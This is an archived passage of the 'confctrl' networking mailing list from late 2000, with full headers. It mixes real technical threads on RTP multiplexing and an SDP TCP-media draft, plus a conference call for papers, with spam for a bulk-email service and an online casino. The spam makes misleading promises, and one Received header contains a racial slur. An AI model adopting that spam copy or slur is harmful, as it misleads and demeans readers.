SIGCOMM Award for lifetime contributions to the field of computer
communication. Procedures for nominating candidates for the SIGCOMM Award
can be obtained from Scott Shenker (shenker@aciri.org).






From confctrl-owner  Thu Dec 21 13:21:01 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA28860
	for confctrl-outgoing; Thu, 21 Dec 2000 13:21:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA28855
	for <confctrl@zephyr.isi.edu>; Thu, 21 Dec 2000 13:21:00 -0800 (PST)
Received: from sem_mail.smkb.ac.il (skbb3.skb2.macam.ac.il [192.115.171.3])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id eBLLKw829444
	for <confctrl@isi.edu>; Thu, 21 Dec 2000 13:20:58 -0800 (PST)
Received: from 3m337dnp2 (1Cust34.tnt21.lax3.da.uu.net [63.28.123.34]) by sem_mail.smkb.ac.il with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id Y4M7RWYW; Thu, 21 Dec 2000 22:47:27 +0200
DATE: 21 Dec 00 12:54:28 PM
FROM: hj4hj6@yahoo.com
Message-ID: <h590u045C19Gv0M52l>
SUBJECT: Improve your stepfamily life
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Does your stepfamily life resemble a soap opera more than it does the Brady
Bunch?

The Stepfamily Association of America invites you to participate in THE
NATIONAL CONFERENCE FOR STEPFAMILIES, Feb. 23-24, 2001, at the New Orleans
Marriott Hotel.

This is an opportunity, designed by knowledgeable professionals, in
stepfamilies themselves, to help you:
* Make your remarriage a success
* Create bonds with your stepchildren
* Help your children adjust emotionally
* Manage money matters unique to your family
* Get more help from legal, financial, psychological advisors
* Overcome stepfather and stepmother stereotypes
* Elicit cooperation from your children's schools
* Bring more harmony into family life

Complete conference details at http://www.edupr.com
REGISTER ONLINE!

Attend, and also enjoy Mardi Gras week in New Orleans!

Special discounts for couples, students, groups.

HOTEL IS BOOKING UP FAST. ACT NOW BEFORE ROOM BLOCK AND
AIRLINE SEATS FILL Special rates for conference attendees. Visit
http://www.edupr.com for discounts. Childcare available through a bonded
local service.

Up to 17 professional development credits available if you are an 			
educator, clinician, financial planner, social worker.

Questions? Email stepfamilyconf@mail.com

If you would like to be removed, please email us back with the word "Remove" in the subject line. We apologize for any inconvenience.


From confctrl-owner  Sun Dec 24 06:59:09 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA15672
	for confctrl-outgoing; Sun, 24 Dec 2000 06:59:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA15667
	for <confctrl@zephyr.isi.edu>; Sun, 24 Dec 2000 06:59:08 -0800 (PST)
Received: from pcs-net.co.jp (nigger@pcs.pcs-net.co.jp [210.154.4.66])
	by tnt.isi.edu (8.11.1/8.11.1) with SMTP id eBOEx6808356
	for <confctrl@isi.edu>; Sun, 24 Dec 2000 06:59:06 -0800 (PST)
Received: from mx07.quickstockpower.com (1Cust27.tnt1.ann-arbor.mi.da.uu.net [63.48.17.27]) by pcs-net.co.jp (SMI-8.6/3.5Wpl7) with SMTP id XAA13480; Sun, 24 Dec 2000 23:39:01 +0900
Date: Sun, 24 Dec 2000 10:01:02 -0500
Content-Type: text/plain;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
CC: confbc@gte.net, confbrasilvolei@gte.net, confctrl@gte.net,
        confctrw@gte.net, confderate@gte.net, confdesk@gte.net
Received: from mx07.quickstockpower.com [192.168.222.24] by kwl32v.mx07.quickstockpower.com with SMTP; Sun, 24 Dec 2000 10:01:02 -0500
From: section187@quickstockpower.com
Message-Id: <fhhs2v54y50j.j4fr5vnyi53@mx07.quickstockpower.com>
To: quickstockpower@gte.net
X-Mailer: Mozilla 4.7 [en] (Win95; U)
Subject: How Do You Create Leads?????
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If you have a product or service that requires lead generation, you will
want to know about our services! 
 
We are a professional commercial e-mail service that has been in business
for over 6 years. We can help you reach more potential customers through
e-mail.  No doubt you've heard every horror story about UCE, but frankly
it's not true.  There is a very small element that does not want the
Internet to be used for commercial purposes, but isn't that what the
Internet really is?  And it completely legal to send commercial e-mail.
 
We do honor remove requests from people that do not want to receive
commercial e-mail.  In fact our remove list is over 6 million.  By the way,
our data base is 60 million strong.  If you want target e-mailing we can do
that too!
 
We've mailed for hundreds of Fortune 500 companies over the last 6 years,
and many of them you would recognize.
 
Here are some of the advantages:
 
No Printing Cost!
No Handling (stuffing envelops)!
No Postage!
Cost Effective Too!
 
We are looking for just 3 new customers !!!! 
 
For complete details, phone 248.736.3364


From confctrl-owner  Fri Dec 29 02:14:06 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA05640
	for confctrl-outgoing; Fri, 29 Dec 2000 02:14:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA05635
	for <confctrl@zephyr.isi.edu>; Fri, 29 Dec 2000 02:14:05 -0800 (PST)
Received: from mail.alfa.gr (IDENT:qmailr@mail.alfa.gr [194.219.52.14])
	by tnt.isi.edu (8.11.1/8.11.1) with SMTP id eBTAE3810115
	for <confctrl@isi.edu>; Fri, 29 Dec 2000 02:14:03 -0800 (PST)
Received: (qmail 30469 invoked from network); 29 Dec 2000 13:51:53 -0000
Received: from 1cust137.tnt1.ann-arbor.mi.da.uu.net (HELO mx05.networkshosts.com) (63.48.17.137)
  by mail.alfa.gr with SMTP; 29 Dec 2000 13:51:53 -0000
Date: Fri, 29 Dec 2006 05:11:03 -0500
Subject: New Internet Casino page. $10 free on signup!!
X-Mailer: Mozilla 4.7 [en] (Win95; U)
Message-Id: <2772eg5u7r.2jf3sy@mx05.networkshosts.com>
To: networkshosts@gte.net
Content-Type: text/html;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
CC: confbc@gte.net, confbrasilvolei@gte.net, confctrl@gte.net,
        confctrw@gte.net, confderate@gte.net, confdesk@gte.net
From: estley@networkshosts.com
Received: from mx05.networkshosts.com [192.168.222.12] by 026s3y.mx05.networkshosts.com with SMTP; Fri, 29 Dec 2006 05:11:03 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>

<head>
<title></title>
</head>

<body bgcolor="#00FFFF">

<p><b>We've already paid out over a cool <font color="#FF0000"> MILLION 
DOLLARS</font> to
<font color="#FF0000"> WINNERS</font> just like YOU.<br>
<br>
Enter the Finest, Highest Paying Casino Online<br>
<br>
<font color="#FF0000">$25,000 WINNERS</font> are cashing in at our casino 
DAILY.
Grab YOUR share of this wealth pool and open an account now. We'll bring the 
finest, most secure, highest paying casino on the Net right to your desktop.
<br>
<br>
We deliver the best games, like <font color="#FF0000"> REAL LAS VEGAS STYLE 
BLACKJACK</font> plus Caribbean Stud, Draw Poker and LOTS of the loosest Slot 
Machines you'll ever find. You're just a click away from High Paying Winning 
Action.<br>
<br>
FREE $10 SIGN UP for EVERY new player.<br>
<a href="http://www3.networkshosts.com/casino"><font size="5">CLICK 
HERE</font></a> To Enter The Casino and Win Big Now<br>
<br>
3D JAVA &amp; Muti-Player.<br>
<br>
Play the best online Casino in the world right now.<br>
<br>
NO DOWNLOADS necessary.<br>
<br>
INSTANT ACCESS<br>
<br>
High quality, totally secure and private CASINO FUN, right on your computer 
in the comfort and privacy of home.<br>
<br>
PLAY WITH A PROVEN GAMING ORGANIZATION.<br>
<br>
Your privacy is taken very seriously and is assured.<br>
<br>
WIN BIG at our Virtual Tables and Cash Out Instantly!<br>
<br>
<br>
To Be Removed From Future Mailings: <a href="http://www3.networkshosts.
com/remove"> CLICK HERE</a><br>
</b></p>
</HTML>


From confctrl-owner  Wed Jan  3 13:50:17 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA01070
	for confctrl-outgoing; Wed, 3 Jan 2001 13:50:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA01064
	for <confctrl@zephyr.isi.edu>; Wed, 3 Jan 2001 13:50:15 -0800 (PST)
Received: from smtprch2.nortel.com (smtprch2.nortelnetworks.com [192.135.215.15])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f03LoEU00492
	for <confctrl@isi.edu>; Wed, 3 Jan 2001 13:50:15 -0800 (PST)
Received: from zrchb200.us.nortel.com (actually zrchb200) 
          by smtprch2.nortel.com; Wed, 3 Jan 2001 15:43:12 -0600
Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <Z8FFQTXC>; Wed, 3 Jan 2001 15:47:48 -0600
Message-ID: <BEF0F85DF631D311B1200000F80932F903941D1B@crchy28c.us.nortel.com>
From: "Peter Barany" <pbarany@nortelnetworks.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: test
Date: Wed, 3 Jan 2001 15:47:43 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C075CE.CD0C44E0"
X-Orig: <pbarany@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C075CE.CD0C44E0
Content-Type: text/plain

test

------_=_NextPart_001_01C075CE.CD0C44E0
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2652.35">
<TITLE>test</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2 FACE="Arial">test</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C075CE.CD0C44E0--

From confctrl-owner  Wed Jan  3 19:30:34 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id TAA14589
	for confctrl-outgoing; Wed, 3 Jan 2001 19:30:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA14583
	for <confctrl@zephyr.isi.edu>; Wed, 3 Jan 2001 19:30:32 -0800 (PST)
Received: from empowertel.com ([64.220.200.243])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f043UWU10471
	for <confctrl@isi.edu>; Wed, 3 Jan 2001 19:30:32 -0800 (PST)
Received: from rajeev ([192.168.111.39])
	by empowertel.com (Mirapoint)
	with SMTP id AAA07193;
	Wed, 3 Jan 2001 19:29:21 -0800 (PST)
Reply-To: <rajeev@empowertel.com>
From: "Rajeev Gupta" <rajeev@empowertel.com>
To: <rem-conf@es.net>, <confctrl@ISI.EDU>
Subject: FW: Need for simple RTP multiplexing for trunking gateways
Date: Wed, 3 Jan 2001 19:32:47 -0800
Message-ID: <00dd01c075ff$023f7f80$276fa8c0@empowertel.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

-----Original Message-----
From: Rajeev Gupta [mailto:rajeev@empowertel.com]
Sent: Thursday, December 21, 2000 4:22 PM
To: rem-conf@es.net
Cc: rajeevfromca@yahoo.com
Subject: Need for simple RTP multiplexing for trunking gateways



Consider a VoIP network with a set of trunking gateways connecting the PSTN
over a VoIP core network. Each gateway has thousands of PSTN ports and uses
G.711 to get high quality voice over IP. Between each pair of gateways,
there are hundreds or thousands of calls being trunked. The core IP network
does not today provide MPLS capability. In such a scenario, it is required
to provide a high quality, low overhead solution for VoIP.

The current RFCs and I-Ds suggest to use RTP/UDP/IP between the gateways. To
reduce header overhead, it is suggested to run TCRTP. But that has the
following disadvantages:

- it requires creating tunnels using PPP/L2TP
- it recommends using PPP multiplexing to reduce tunnel overhead
- it requires running a compression/decompression state machine
- Further complexity is added due to loss recovery on high delay, high loss
WAN links

The above problems are compounded when you have thousands of calls running
between gateways.

A much simpler mechanism would be to allow simple RTP multiplexing using
standard RTP headers. This would have the advantage that:

- it would use standard IP/UDP/RTP headers, requiring no tunnelling or
special compression state machines

- it would use a small channel id to multiplex hundreds of channels into the
same packet. Trunking gateways can multiplex hundreds of simultaneous
samples into the same IP packet, reducing overhead to a negligible amount

- channel ids can be signalled very easily as just another media parameter
in the SDP when setting up a new call

- with silence suppression turned on, this would yield bandwidth
efficiencies greater than TDM with voice quality (G.711) better than
compressed vocoders (G.72x)

- since bandwidth efficiencies are high, we can even reduce the
packetization period to less than the default 10ms, to get even higher voice
quality (due to reduced latencies and reduced loss rates, similar to
"oversampling" effects)

I am currently working on a draft to propose such a solution and would be
interested in hearing from others on their perspectives.

Note this is not related to Voice over MPLS or similar proposed work, in
that this is designed specifically to work over standard IP, which may or
may not run over MPLS.

Thanks.

Rajeev Gupta
Senior Director, Technology & Standards
empowerTel Networks
475 Sycamore Drive, Milpitas, CA 95035
Phone: +1 408 519 7136
Fax: +1 408 519 7420
mailto:rajeev@empowertel.com
http://www.empowertel.com


From confctrl-owner  Thu Jan  4 12:42:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA24335
	for confctrl-outgoing; Thu, 4 Jan 2001 12:42:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA24330
	for <confctrl@zephyr.isi.edu>; Thu, 4 Jan 2001 12:42:47 -0800 (PST)
Received: from zcars04f.ca.nortel.com (h57s242a129n47.user.nortelnetworks.com [47.129.242.57])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f04KgjU04717
	for <confctrl@ISI.EDU>; Thu, 4 Jan 2001 12:42:46 -0800 (PST)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Thu, 4 Jan 2001 15:39:35 -0500
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <CGNBPT5N>; Thu, 4 Jan 2001 15:39:32 -0500
Message-ID: <28560036253BD41191A10000F8BCBD11034362A3@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: David Yon <yon@dialout.net>, confctrl@ISI.EDU
Subject: RE: Iterating draft-ietf-mmusic-sdp-tcpmedia-00.txt
Date: Thu, 4 Jan 2001 15:39:24 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0768E.6C8457A0"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0768E.6C8457A0
Content-Type: text/plain;
	charset="iso-8859-1"

A colleague's question makes me wonder if IPSEC falls into the
connection-oriented category.  How do you specify that a particuular stream
is to run over an IPSEC tunnel?

> -----Original Message-----
> From: David Yon [mailto:yon@dialout.net]
> Sent: Wednesday, December 13, 2000 7:26 PM
> To: confctrl@ISI.EDU
> Subject: Iterating draft-ietf-mmusic-sdp-tcpmedia-00.txt
> 
> 
> Thanks everyone for the warm reception and feedback at the MMUSIC WG 
> meeting today.  While it is fresh in everyone's mind, I'd 
> like to collect a 
> laundry list of discussion items for the next version of the draft.
> 
> Jonathan suggested that we fold in all the 
> connection-oriented protocols 
> that we currently know about into the draft.  SSL, TLS, RTSP, 
> et al.  While 
> I wish I was an encyclopedia of existing network protocols, I'm not. 
> :-)  So if folks could chime in with their favorite 
> connection-oriented 
> protocols they would like to see listed, that would help me a 
> great deal.
> 
> On that topic, apparently there is an ambiguity as to what is 
> meant by 
> "RTP/AVP-TCP".  If there are still issues to be hammered out 
> on how RTP/AVP 
> is transported over TCP, I would submit that it is not an issue to be 
> addressed by my draft.  On the other hand, correct me if I'm 
> wrong, but I 
> *thought* I was hearing that perhaps there were two competing 
> ways to do 
> it.  If that's the case, it seems like we should either 
> standardize on one 
> approach (elsewhere), or my draft should list two different 
> protocol names 
> (i.e., RTP/AVP-TCP-1 and RTP/AVP-TCP-2 for lack of a better naming 
> covention).  Feedback on this issue is greatly appreciated.
> 
> I didn't hear any dissent on having "direction:both" be the 
> default value, 
> any objection?
> 
> Brian Rosen spoke with me afterward and suggested that the 
> draft might be 
> unnecessarily biased towards TCP, whereas with some minor 
> rewording it 
> might expand in scope to all connection-oriented protocols 
> without any 
> additional complexity.  Brian if you could elaborate on this 
> a bit that 
> would be helpful.  I have a few reservations about it but I'd 
> like to hear 
> again what you are looking for so that I'm fully 
> understanding what you are 
> after.
> 
> Several people pointed out that my firewall example was 
> flawed, at least in 
> the case of the firewall performing N/PAT.  Well, yes.  But I 
> would just 
> like to clarify that the draft, by itself, is not a complete firewall 
> solution nor is it intended to be.  It can, in some cases, help the 
> situation by (a) allowing media endpoints be more firewall 
> friendly, and 
> (b) making it easier to write ALP's as the long-term 
> solution.  But at the 
> end of the day it is a non-goal for this draft to provide a 
> complete answer 
> to the firewall and N/PAT boondoggle.
> 
> Based on the meeting, that's all I can think of for open 
> issues.  If anyone 
> else has comments feel free to elaborate.
> 
> And thanks again to everyone!
> 
> 
> David Yon
> Chief Technical Officer
> Dialout.Net, Inc.
> yon@dialout.net
> 
> 

------_=_NextPart_001_01C0768E.6C8457A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Iterating draft-ietf-mmusic-sdp-tcpmedia-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>A colleague's question makes me wonder if IPSEC falls =
into the connection-oriented category.&nbsp; How do you specify that a =
particuular stream is to run over an IPSEC tunnel?</FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: David Yon [<A =
HREF=3D"mailto:yon@dialout.net">mailto:yon@dialout.net</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, December 13, 2000 7:26 =
PM</FONT>
<BR><FONT SIZE=3D2>&gt; To: confctrl@ISI.EDU</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Iterating =
draft-ietf-mmusic-sdp-tcpmedia-00.txt</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Thanks everyone for the warm reception and =
feedback at the MMUSIC WG </FONT>
<BR><FONT SIZE=3D2>&gt; meeting today.&nbsp; While it is fresh in =
everyone's mind, I'd </FONT>
<BR><FONT SIZE=3D2>&gt; like to collect a </FONT>
<BR><FONT SIZE=3D2>&gt; laundry list of discussion items for the next =
version of the draft.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Jonathan suggested that we fold in all the =
</FONT>
<BR><FONT SIZE=3D2>&gt; connection-oriented protocols </FONT>
<BR><FONT SIZE=3D2>&gt; that we currently know about into the =
draft.&nbsp; SSL, TLS, RTSP, </FONT>
<BR><FONT SIZE=3D2>&gt; et al.&nbsp; While </FONT>
<BR><FONT SIZE=3D2>&gt; I wish I was an encyclopedia of existing =
network protocols, I'm not. </FONT>
<BR><FONT SIZE=3D2>&gt; :-)&nbsp; So if folks could chime in with their =
favorite </FONT>
<BR><FONT SIZE=3D2>&gt; connection-oriented </FONT>
<BR><FONT SIZE=3D2>&gt; protocols they would like to see listed, that =
would help me a </FONT>
<BR><FONT SIZE=3D2>&gt; great deal.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; On that topic, apparently there is an ambiguity =
as to what is </FONT>
<BR><FONT SIZE=3D2>&gt; meant by </FONT>
<BR><FONT SIZE=3D2>&gt; &quot;RTP/AVP-TCP&quot;.&nbsp; If there are =
still issues to be hammered out </FONT>
<BR><FONT SIZE=3D2>&gt; on how RTP/AVP </FONT>
<BR><FONT SIZE=3D2>&gt; is transported over TCP, I would submit that it =
is not an issue to be </FONT>
<BR><FONT SIZE=3D2>&gt; addressed by my draft.&nbsp; On the other hand, =
correct me if I'm </FONT>
<BR><FONT SIZE=3D2>&gt; wrong, but I </FONT>
<BR><FONT SIZE=3D2>&gt; *thought* I was hearing that perhaps there were =
two competing </FONT>
<BR><FONT SIZE=3D2>&gt; ways to do </FONT>
<BR><FONT SIZE=3D2>&gt; it.&nbsp; If that's the case, it seems like we =
should either </FONT>
<BR><FONT SIZE=3D2>&gt; standardize on one </FONT>
<BR><FONT SIZE=3D2>&gt; approach (elsewhere), or my draft should list =
two different </FONT>
<BR><FONT SIZE=3D2>&gt; protocol names </FONT>
<BR><FONT SIZE=3D2>&gt; (i.e., RTP/AVP-TCP-1 and RTP/AVP-TCP-2 for lack =
of a better naming </FONT>
<BR><FONT SIZE=3D2>&gt; covention).&nbsp; Feedback on this issue is =
greatly appreciated.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I didn't hear any dissent on having =
&quot;direction:both&quot; be the </FONT>
<BR><FONT SIZE=3D2>&gt; default value, </FONT>
<BR><FONT SIZE=3D2>&gt; any objection?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Brian Rosen spoke with me afterward and =
suggested that the </FONT>
<BR><FONT SIZE=3D2>&gt; draft might be </FONT>
<BR><FONT SIZE=3D2>&gt; unnecessarily biased towards TCP, whereas with =
some minor </FONT>
<BR><FONT SIZE=3D2>&gt; rewording it </FONT>
<BR><FONT SIZE=3D2>&gt; might expand in scope to all =
connection-oriented protocols </FONT>
<BR><FONT SIZE=3D2>&gt; without any </FONT>
<BR><FONT SIZE=3D2>&gt; additional complexity.&nbsp; Brian if you could =
elaborate on this </FONT>
<BR><FONT SIZE=3D2>&gt; a bit that </FONT>
<BR><FONT SIZE=3D2>&gt; would be helpful.&nbsp; I have a few =
reservations about it but I'd </FONT>
<BR><FONT SIZE=3D2>&gt; like to hear </FONT>
<BR><FONT SIZE=3D2>&gt; again what you are looking for so that I'm =
fully </FONT>
<BR><FONT SIZE=3D2>&gt; understanding what you are </FONT>
<BR><FONT SIZE=3D2>&gt; after.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Several people pointed out that my firewall =
example was </FONT>
<BR><FONT SIZE=3D2>&gt; flawed, at least in </FONT>
<BR><FONT SIZE=3D2>&gt; the case of the firewall performing =
N/PAT.&nbsp; Well, yes.&nbsp; But I </FONT>
<BR><FONT SIZE=3D2>&gt; would just </FONT>
<BR><FONT SIZE=3D2>&gt; like to clarify that the draft, by itself, is =
not a complete firewall </FONT>
<BR><FONT SIZE=3D2>&gt; solution nor is it intended to be.&nbsp; It =
can, in some cases, help the </FONT>
<BR><FONT SIZE=3D2>&gt; situation by (a) allowing media endpoints be =
more firewall </FONT>
<BR><FONT SIZE=3D2>&gt; friendly, and </FONT>
<BR><FONT SIZE=3D2>&gt; (b) making it easier to write ALP's as the =
long-term </FONT>
<BR><FONT SIZE=3D2>&gt; solution.&nbsp; But at the </FONT>
<BR><FONT SIZE=3D2>&gt; end of the day it is a non-goal for this draft =
to provide a </FONT>
<BR><FONT SIZE=3D2>&gt; complete answer </FONT>
<BR><FONT SIZE=3D2>&gt; to the firewall and N/PAT boondoggle.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Based on the meeting, that's all I can think of =
for open </FONT>
<BR><FONT SIZE=3D2>&gt; issues.&nbsp; If anyone </FONT>
<BR><FONT SIZE=3D2>&gt; else has comments feel free to =
elaborate.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; And thanks again to everyone!</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; David Yon</FONT>
<BR><FONT SIZE=3D2>&gt; Chief Technical Officer</FONT>
<BR><FONT SIZE=3D2>&gt; Dialout.Net, Inc.</FONT>
<BR><FONT SIZE=3D2>&gt; yon@dialout.net</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0768E.6C8457A0--

From confctrl-owner  Fri Jan  5 07:05:47 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA00109
	for confctrl-outgoing; Fri, 5 Jan 2001 07:05:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA00103
	for <confctrl@zephyr.isi.edu>; Fri, 5 Jan 2001 07:05:45 -0800 (PST)
Received: from erasmus.terena.nl (erasmus.terena.nl [192.87.30.2])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f05F5hU14094;
	Fri, 5 Jan 2001 07:05:43 -0800 (PST)
Received: (from mail@localhost)
	by erasmus.terena.nl (8.9.3/8.9.3/TERENA) id MAA26896
	for tnc2001-announce-ptr; Fri, 5 Jan 2001 12:41:54 +0100
X-Authentication-Warning: erasmus.terena.nl: mail set sender to tnc2001-announce-request@terena.nl using -f
Received: from mta01-svc.ntlworld.com (mta01-svc.ntlworld.com [62.253.162.41])
	by erasmus.terena.nl (8.9.3/8.9.3/TERENA) with ESMTP id MAA26892
	for <tnc2001-announce@terena.nl>; Fri, 5 Jan 2001 12:41:54 +0100
Received: from nicola-laptop ([213.105.124.240]) by mta01-svc.ntlworld.com
          (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP
          id <20010105114150.BWJN6427.mta01-svc.ntlworld.com@nicola-laptop>
          for <tnc2001-announce@terena.nl>; Fri, 5 Jan 2001 11:41:50 +0000
Message-Id: <4.2.0.58.20010105123559.0128f400@popper.terena.nl>
X-Sender: nicola@popper.terena.nl
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 05 Jan 2001 12:38:30 +0100
To: tnc2001-announce@terena.nl
From: Nicola Warren <warren@terena.nl>
Subject: TERENA Issue Call for Short Papers on Recent Results
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Reply-To: Nicola Warren <warren@terena.nl>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

                  CALL FOR SHORT PAPERS ON RECENT RESULTS

                     TERENA Networking Conference 2001
               "Highlighting Advanced Networks and Services"
                               14-17 May 2001
                       http://www.terena/nl/tnc2001/


TERENA is pleased to issue a "Call for Short Papers on Recent Results" to 
be presented at the TERENA Networking Conference 2001, which will be held 
in Antalya, Turkey from 14-17 May 2001.

The "Call for Short Papers on Recent Results" is listed below and is also 
available from the conference web page at:

http://www.terena.nl/tnc2001/cfsp.html

Please feel free to copy this message to others who you think may be 
interested in submitting a paper for the conference.

With best regards,

The TERENA Networking Conference 2001 Programme Committee

*******************************************************************

               CALL FOR SHORT PAPERS ON RECENT RESULTS

                  TERENA Networking Conference 2001
            "Highlighting Advanced Networks and Services"
                   14-17 May 2001, Antalya, Turkey
				
                    http://www.terena.nl/tnc2001/
				
               Submission Deadline:  16 February 2001

*******************************************************************			
The annual TERENA Networking Conferences are prominent events
offering an opportunity to present and discuss technical and
strategic issues related to the provision of networks and services,
and the corresponding research and development activities, within
the research and education community. Bringing together leading
figures from the research networking community in Europe and
worldwide, they provide a unique opportunity for professionals from
research, industry, academia and related government sectors to
learn about the latest developments and plans for the future.

Further information about the conference is available from:

http://www.terena.nl/tnc2001/


Short Papers on Recent Results
==============================

The conference programme will feature a "recent results" session
allocated explicitly to presentations that reflect up-to-date
information about work-in-progress, ongoing research and recent
results. This call for short papers is for participants who were
not able to submit their material before the deadline for full
papers due to ongoing research projects and for those who wish to
announce new results. With less formal papers and presentations,
the "recent result" session provides a forum for debate and
exchange of ideas, and an opportunity to ask questions and give
opinions on topical subjects in research networking.

Short papers are invited on all topics covered by the conference
programme. A list of the main subject areas for the conference
is provided in the "First Announcement", which is available from:

http://www.terena.nl/conf/tnc2001/announce.html

Please do not hesitate to raise uncommon views or any contrasting
opinions to your own which may prompt interesting debate. The papers
selected by the Programme Committee to be presented at the conference
will be allocated approximately 15 - 20 minutes within the session.
It is envisaged that delivery of the presentation will take
approximately 10 minutes, leaving 5-10 minutes for lively discussion
on the issues raised.

The Programme Committee will review short paper submissions and those
selected for presentation in the "recent results" session will be
included in the Book of Abstracts and on-line Conference Proceedings.


Submission Instructions
=======================

Short paper submissions should not exceed 1000 words (or two A4 sides)
in length, and should outline the main theme, results and opinions
